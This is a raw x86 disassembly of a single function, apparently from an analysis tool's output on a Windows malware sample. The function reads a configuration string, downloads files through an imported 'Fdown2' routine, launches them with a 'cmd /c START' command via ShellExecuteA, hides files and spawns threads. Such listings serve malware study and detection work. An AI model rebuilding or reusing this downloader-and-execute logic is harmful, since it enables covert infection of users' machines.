Function at 0x405634
Capabilities:
Create process on windows
Create thread
Delete file
Set file attributes

Disassembly:
mov eax, 0x4164d9
call fcn.00409e24
sub esp, 0x1c0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ebx
push 0xffffffffffffffff
push ebx
mov dword [ebp - 4], ebx
push str._title_
lea ecx, [ebp + 8]
mov dword [0x41fd48], ebx
mov byte [ebp - 4], 1
call fcn.00401ba0
add eax, 7
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp + 8]
call fcn.004034b8
push 0xffffffffffffffff
push ebx
mov esi, 0x41c094
push eax
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
push ebx
push str.__title_
mov ecx, esi
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x58]
push eax
mov ecx, esi
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
mov edi, str._DLD_
push edi
call fcn.00403942
sub esp, 0x1c
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov byte [ebp - 4], 4
call fcn.00403492
mov byte [ebp - 4], 1
call fcn.00402f7f
add esp, 0x38
cmp eax, ebx
push 0xffffffffffffffff
push ebx
jbe 0x40658c
push edi
lea ecx, [ebp + 8]
call fcn.00401ba0
add eax, 5
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp + 8]
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 5
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp + 8]
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 6
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
mov esi, 0x417678
mov edi, 0x41fe80
push ebx
push esi
lea ecx, [ebp + 8]
call fcn.00401ba0
cmp eax, 0xffffffff
je 0x40582d
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [ebp + 8]
call fcn.00401ba0
add eax, 3
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp + 8]
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 7
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
push ebx
push esi
lea ecx, [ebp + 8]
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp + 8]
call fcn.004034b8
mov ecx, dword [0x41fd48]
imul ecx, ecx, 0x1c
push 0xffffffffffffffff
push ebx
add ecx, edi
push eax
mov byte [ebp - 4], 8
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 1
call fcn.00402059
inc dword [0x41fd48]
jmp 0x40578f
xor ecx, ecx
mov esi, 0x417674
cmp ecx, 0xa
mov dword [0x41fd48], ecx
jge 0x4058ef
imul ecx, ecx, 0x1c
push 0xffffffffffffffff
push ebx
push esi
add ecx, edi
call fcn.00401ba0
mov ecx, dword [0x41fd48]
imul ecx, ecx, 0x1c
inc eax
push eax
lea eax, [ebp - 0x90]
push eax
add ecx, edi
call fcn.004034b8
mov ecx, dword [0x41fd48]
imul ecx, ecx, 0x1c
push 0xffffffffffffffff
push ebx
add ecx, edi
push eax
mov byte [ebp - 4], 9
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 1
call fcn.00402059
mov ecx, dword [0x41fd48]
imul ecx, ecx, 0x1c
push ebx
push esi
add ecx, edi
call fcn.00401ba0
mov ecx, dword [0x41fd48]
imul ecx, ecx, 0x1c
push eax
push ebx
lea eax, [ebp - 0x58]
push eax
add ecx, edi
call fcn.004034b8
mov ecx, dword [0x41fd48]
imul ecx, ecx, 0x1c
push 0xffffffffffffffff
push ebx
add ecx, edi
push eax
mov byte [ebp - 4], 0xa
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
mov ecx, dword [0x41fd48]
inc ecx
jmp 0x405834
mov esi, 0x41e060
push esi
call fcn.00401076
cmp al, 1
pop ecx
jne 0x4059ea
cmp dword [ebp + 0x28], ebx
jne 0x4059ea
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00403bec
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xc8]
push esi
push eax
mov byte [ebp - 4], 0xb
call fcn.00403bec
pop ecx
pop ecx
mov edi, eax
mov ecx, dword [ebp - 0x1c]
push 0xffffffffffffffff
push 0x41748c
mov byte [ebp - 4], 0xc
call fcn.00401c0e
inc eax
push eax
push ebx
lea eax, [ebp - 0x58]
push eax
mov ecx, edi
call fcn.004034b8
cmp dword [eax + 0x18], 0x10
mov byte [ebp - 4], 0xd
jb 0x40596c
mov eax, dword [eax + 4]
jmp 0x40596f
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00403942
lea eax, [ebp - 0x90]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405997
mov eax, dword [eax + 4]
jmp 0x40599a
add eax, 4
push eax
push 0x41ee10
call fcn.0040a9f0
pop ecx
pop ecx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x90]
call fcn.00402059
push ebx
push edi
lea ecx, [ebp - 0x58]
call fcn.00402059
push ebx
push edi
lea ecx, [ebp - 0xc8]
call fcn.00402059
push ebx
push edi
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 1
call fcn.00402059
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x405ae6
cmp dword [0x41fe98], 0x10
mov eax, dword [0x41fe84]
jae 0x4059fd
mov eax, 0x41fe84
push 0x41748e
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x405ae6
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push edi
call fcn.00403492
lea eax, [ebp - 0x74]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405a37
mov eax, dword [eax + 4]
jmp 0x405a3a
add eax, 4
push eax
mov edi, 0x41ee10
push edi
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x74]
call fcn.00402059
push str._micro2
push edi
call fcn.0040aa00
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
push 0x1b6
push 2
push esi
lea ecx, [ebp - 0x1cc]
call fcn.0040425b
lea eax, [ebp - 0x74]
push edi
push eax
mov byte [ebp - 4], 0xe
call fcn.00403ca6
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x1cc]
push eax
mov byte [ebp - 4], 0xf
call fcn.00402b32
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xe
call fcn.00402059
lea ecx, [ebp - 0x1cc]
call fcn.00403964
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 1
call fcn.004042fb
lea ecx, [ebp - 0x16c]
mov dword [ebp - 0x16c], 0x4172f4
call fcn.004085ec
cmp dword [0x41feb4], 0x10
mov eax, dword [0x41fea0]
jae 0x405af9
mov eax, 0x41fea0
push 0x41748e
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
mov edi, 0x417670
je 0x405f2d
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push edi
call fcn.00403942
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x41fe9c
mov byte [ebp - 4], 0x10
call fcn.00403492
mov byte [ebp - 4], 1
call fcn.00402f7f
add esp, 0x38
cmp eax, ebx
jbe 0x405f2d
mov esi, 0x41c158
mov edi, 0x41cf88
push ebx
push 0x417670
mov ecx, 0x41fe9c
call fcn.00401ba0
cmp eax, 0xffffffff
je 0x405f28
push ebx
push 0x417670
mov ecx, 0x41fe9c
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x74]
push eax
mov ecx, 0x41fe9c
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x41c13c
mov byte [ebp - 4], 0x11
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 1
call fcn.00402059
push 0xffffffffffffffff
push ebx
push 0x4176d8
mov ecx, 0x41c13c
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0xc8]
push eax
mov ecx, 0x41c13c
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [ebp - 4], 0x12
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 1
call fcn.00402059
push ebx
push 0x4176d8
mov ecx, 0x41c13c
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x90]
push eax
mov ecx, 0x41c13c
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x41c13c
mov byte [ebp - 4], 0x13
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 1
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.true
call fcn.00403942
push ebx
push 0x4176d4
mov ecx, esi
mov byte [ebp - 4], 0x14
call fcn.00401ba0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
push ebx
push ecx
mov ecx, esi
call fcn.004034b8
mov byte [ebp - 4], 1
call fcn.00402f7f
add esp, 0x38
cmp eax, ebx
push 0xffffffffffffffff
push ebx
mov ecx, esi
push 0x4176d4
jbe 0x405dee
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0x58]
push eax
mov ecx, esi
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [ebp - 4], 0x15
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x41c13c
call fcn.00403492
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405ceb
mov eax, dword [eax + 4]
jmp 0x405cee
add eax, 4
push eax
push edi
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x11c]
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x41c158
call fcn.00403492
lea eax, [ebp - 0x100]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405d31
mov eax, dword [eax + 4]
jmp 0x405d34
add eax, 4
push eax
push 0x41d388
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x100]
call fcn.00402059
push 0x41d388
call fcn.00401076
test al, al
pop ecx
jne 0x405ed8
push 0x41d388
push edi
call dword [sym.imp.wnhelp.dll_Fdown2]
test eax, eax
pop ecx
pop ecx
jne 0x405de3
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov dword [0x41fd48], ebx
push 0x41d388
call fcn.00401076
test al, al
pop ecx
jne 0x405db7
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [0x41fd48]
cmp dword [0x41fd48], 0x14
jle 0x405d8c
jmp 0x405de3
push 0x41d388
push str._c_START______s___exit
push edi
call fcn.00409847
add esp, 0xc
push ebx
push ebx
push edi
push 0x4172ec
push str.open
push dword [0x41fd00]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x41fd48], ebx
jmp 0x405ed8
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0xe4]
push eax
mov ecx, esi
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [ebp - 4], 0x16
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 1
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x41c13c
call fcn.00403492
lea eax, [ebp - 0x138]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405e50
mov eax, dword [eax + 4]
jmp 0x405e53
add eax, 4
push eax
push edi
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x138]
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x41c158
call fcn.00403492
lea eax, [ebp - 0xac]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405e96
mov eax, dword [eax + 4]
jmp 0x405e99
add eax, 4
push eax
push 0x41d388
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xac]
call fcn.00402059
push 0x41d388
call fcn.00401076
test al, al
pop ecx
jne 0x405ed1
push 0x41d388
push edi
call dword [sym.imp.wnhelp.dll_Fdown2]
pop ecx
pop ecx
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0xffffffffffffffff
push ebx
push 0x417670
mov ecx, 0x41fe9c
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0x3c]
push eax
mov ecx, 0x41fe9c
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x41fe9c
mov byte [ebp - 4], 0x17
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.00402059
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405b55
mov edi, 0x417670
cmp dword [0x41fed0], 0x10
mov eax, dword [0x41febc]
jae 0x405f40
mov eax, 0x41febc
mov esi, 0x41748e
push esi
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x405f72
cmp dword [0x41fed0], 0x10
mov eax, dword [0x41febc]
jae 0x405f65
mov eax, 0x41febc
push eax
push 0x41e5dc
call fcn.0040a9f0
pop ecx
pop ecx
cmp dword [0x41feec], 0x10
mov eax, dword [0x41fed8]
jae 0x405f85
mov eax, 0x41fed8
push esi
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x405fb2
cmp dword [0x41feec], 0x10
mov eax, dword [0x41fed8]
jae 0x405fa5
mov eax, 0x41fed8
push eax
push 0x41dfe0
call fcn.0040a9f0
pop ecx
pop ecx
cmp dword [0x41ff08], 0x10
mov eax, dword [0x41fef4]
jae 0x405fc5
mov eax, 0x41fef4
push esi
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x406016
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x41fef0
call fcn.00403492
lea eax, [ebp - 0x3c]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x405ffb
mov eax, dword [eax + 4]
jmp 0x405ffe
add eax, 4
push eax
push 0x41dae0
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.00402059
cmp dword [0x41ff24], 0x10
mov eax, dword [0x41ff10]
jae 0x406029
mov eax, 0x41ff10
push esi
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x4060f5
push 0xffffffffffffffff
push ebx
mov esi, 0x41c0e8
push 0x41ff0c
mov ecx, esi
mov dword [ebp - 0x1c], ebx
call fcn.00403049
push edi
mov ecx, esi
call fcn.00403316
push ebx
push edi
mov ecx, esi
call fcn.00401ba0
cmp eax, 0xffffffff
je 0x4060f5
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push edi
mov ecx, esi
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x3c]
push eax
mov ecx, esi
call fcn.004034b8
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0x1c
push 0xffffffffffffffff
push ebx
push eax
add ecx, 0x41fd68
mov byte [ebp - 4], 0x18
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.00402059
push 0xffffffffffffffff
push ebx
push edi
mov ecx, esi
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0xac]
push eax
mov ecx, esi
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [ebp - 4], 0x19
call fcn.00403049
push ebx
push 1
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 1
call fcn.00402059
inc dword [ebp - 0x1c]
jmp 0x406059
cmp dword [0x41ff40], 0x10
mov eax, dword [0x41ff2c]
jae 0x406108
mov eax, 0x41ff2c
push 0x41748e
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x40615d
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x41ff28
call fcn.00403492
lea eax, [ebp - 0x3c]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x406142
mov eax, dword [eax + 4]
jmp 0x406145
add eax, 4
push eax
push 0x41d9e0
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.00402059
push ebx
mov edi, 0x4176b4
mov esi, 0x41ff44
push edi
mov ecx, esi
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x3c]
push eax
mov ecx, esi
call fcn.004034b8
cmp dword [eax + 0x18], 0x10
jb 0x406188
mov eax, dword [eax + 4]
jmp 0x40618b
add eax, 4
push eax
push 0x41d9a8
call fcn.0040a9f0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.00402059
push 0xffffffffffffffff
push ebx
push edi
mov ecx, esi
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0x3c]
push eax
mov ecx, esi
call fcn.004034b8
mov esi, str.true
push esi
mov ecx, eax
mov byte [ebp - 4], 0x1a
call fcn.00401f3b
push ebx
cmp eax, ebx
push 1
lea ecx, [ebp - 0x3c]
sete byte [ebp - 0x11]
mov byte [ebp - 4], 1
call fcn.00402059
cmp byte [ebp - 0x11], bl
je 0x4061e9
push esi
jmp 0x4061ee
push 0x4176ac
push str.false
call fcn.0040a9f0
pop ecx
pop ecx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.falsefalse
call fcn.00403942
cmp dword [0x41ff78], 0x10
mov eax, dword [0x41ff64]
mov byte [ebp - 4], 0x1b
jae 0x406223
mov eax, 0x41ff64
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00403942
mov byte [ebp - 4], 1
call fcn.00402f7f
add esp, 0x38
cmp eax, ebx
jne 0x406329
push ebx
mov esi, 0x41ff60
push edi
mov ecx, esi
call fcn.00401ba0
push eax
push ebx
lea eax, [ebp - 0x3c]
push eax
mov ecx, esi
call fcn.004034b8
or dword [ebp - 0x20], 1
cmp dword [eax + 0x18], 0x10
jb 0x40626f
mov eax, dword [eax + 4]
jmp 0x406272
add eax, 4
push str.true
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
jne 0x40628d
cmp dword [ebp + 0x28], 1
mov byte [ebp - 0x11], 1
je 0x406290
mov byte [ebp - 0x11], bl
test byte [ebp - 0x20], 1
je 0x4062a5
and dword [ebp - 0x20], 0xfffffffe
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.00402059
cmp byte [ebp - 0x11], bl
je 0x4062b6
mov dword [0x41fd20], 2
jmp 0x40631e
push 0xffffffffffffffff
push ebx
push edi
mov ecx, esi
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0x3c]
push eax
mov ecx, esi
call fcn.004034b8
or dword [ebp - 0x20], 2
cmp dword [eax + 0x18], 0x10
jb 0x4062dd
mov eax, dword [eax + 4]
jmp 0x4062e0
add eax, 4
push str.true
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
jne 0x4062fb
cmp dword [ebp + 0x28], 1
mov byte [ebp - 0x11], 1
je 0x4062fe
mov byte [ebp - 0x11], bl
test byte [ebp - 0x20], 2
je 0x40630f
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.00402059
cmp byte [ebp - 0x11], bl
je 0x406329
mov dword [0x41fd20], 3
push 0x7a120
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
mov esi, 0x417670
push esi
call fcn.00403942
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x41ff7c
mov byte [ebp - 4], 0x1c
call fcn.00403492
mov byte [ebp - 4], 1
call fcn.00402f7f
add esp, 0x38
cmp eax, ebx
jbe 0x406598
cmp dword [ebp + 0x28], 1
jne 0x406598
push ebx
mov edi, 0x41ff7c
push esi
mov ecx, edi
call fcn.00401ba0
cmp eax, 0xffffffff
je 0x406580
push ebx
push esi
mov ecx, edi
call fcn.00401ba0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
push ebx
push ecx
mov ecx, edi
call fcn.004034b8
lea eax, [ebp - 0x3c]
push eax
call fcn.00403b2b
add esp, 0x20
cmp dword [eax + 0x18], 0x10
mov byte [ebp - 4], 0x1d
jb 0x4063bd
mov eax, dword [eax + 4]
jmp 0x4063c0
add eax, 4
push eax
mov ecx, 0x41c13c
call fcn.004034d6
push ebx
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.00402059
mov esi, 0x41c158
push 0x41f810
mov ecx, esi
call fcn.004034d6
push 0x4174b0
mov ecx, esi
call fcn.00403316
push 0xffffffffffffffff
push ebx
mov edi, 0x41c13c
push edi
mov ecx, esi
call fcn.004029c2
push str._statthis.sys
mov ecx, esi
call fcn.00403316
push str.:true:
mov ecx, 0x41c13c
call fcn.00403316
cmp dword [0x41fd44], ebx
jne 0x4064fd
push 0x20
mov byte [ebp - 4], 0x1e
call fcn.00408c89
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, ebx
mov byte [ebp - 4], 0x1f
je 0x406462
push 0x402361
xor ecx, ecx
push fcn.0040236b
inc ecx
push ecx
lea esi, [eax + 4]
push 0x1c
push esi
mov dword [eax], ecx
call fcn.0040aff8
jmp 0x406464
xor esi, esi
push 0xffffffffffffffff
push ebx
push edi
mov ecx, esi
mov byte [ebp - 4], 0x1e
call fcn.00403049
cmp dword [esi + 0x18], 0x10
jb 0x40647e
mov esi, dword [esi + 4]
jmp 0x406481
add esi, 4
lea eax, [ebp - 0x1c]
push eax
push ebx
push esi
push 0x405613
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x40649e
push 0xffffffffffffffff
xor esi, esi
push ebx
mov edi, 0x41ff7c
inc esi
push 0x417670
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0xac]
push eax
mov ecx, edi
call fcn.004034b8
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
mov byte [ebp - 4], 0x24
call fcn.00403049
push ebx
push esi
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 1
call fcn.00402059
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x417670
jmp 0x406370
cmp dword [0x41c170], 0x10
mov eax, dword [0x41c15c]
jae 0x406510
mov eax, 0x41c15c
push eax
call fcn.00401076
test al, al
pop ecx
jne 0x40649e
push 0x20
mov byte [ebp - 4], 0x21
call fcn.00408c89
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, ebx
mov byte [ebp - 4], 0x22
je 0x40654f
push 0x402361
xor ecx, ecx
push fcn.0040236b
inc ecx
push ecx
lea esi, [eax + 4]
push 0x1c
push esi
mov dword [eax], ecx
call fcn.0040aff8
jmp 0x406551
xor esi, esi
push 0xffffffffffffffff
push ebx
push 0x41c13c
mov ecx, esi
mov byte [ebp - 4], 0x21
call fcn.00403049
cmp dword [esi + 0x18], 0x10
jb 0x40656f
mov esi, dword [esi + 4]
jmp 0x406572
add esi, 4
lea eax, [ebp - 0x20]
jmp 0x406484
mov dword [0x41fd44], 1
jmp 0x406598
push 0x41c0b0
mov ecx, esi
call fcn.00403049
push 0xffffffffffffffff
push ebx
lea ecx, [ebp + 8]
call fcn.004020fe
xor ecx, ecx
cmp ecx, 0xa
mov dword [0x41fd48], ecx
jge 0x4065d2
imul ecx, ecx, 0x1c
push 0xffffffffffffffff
push ebx
add ecx, 0x41fe80
call fcn.004020fe
mov ecx, dword [0x41fd48]
inc ecx
jmp 0x4065a5
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.00402059
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret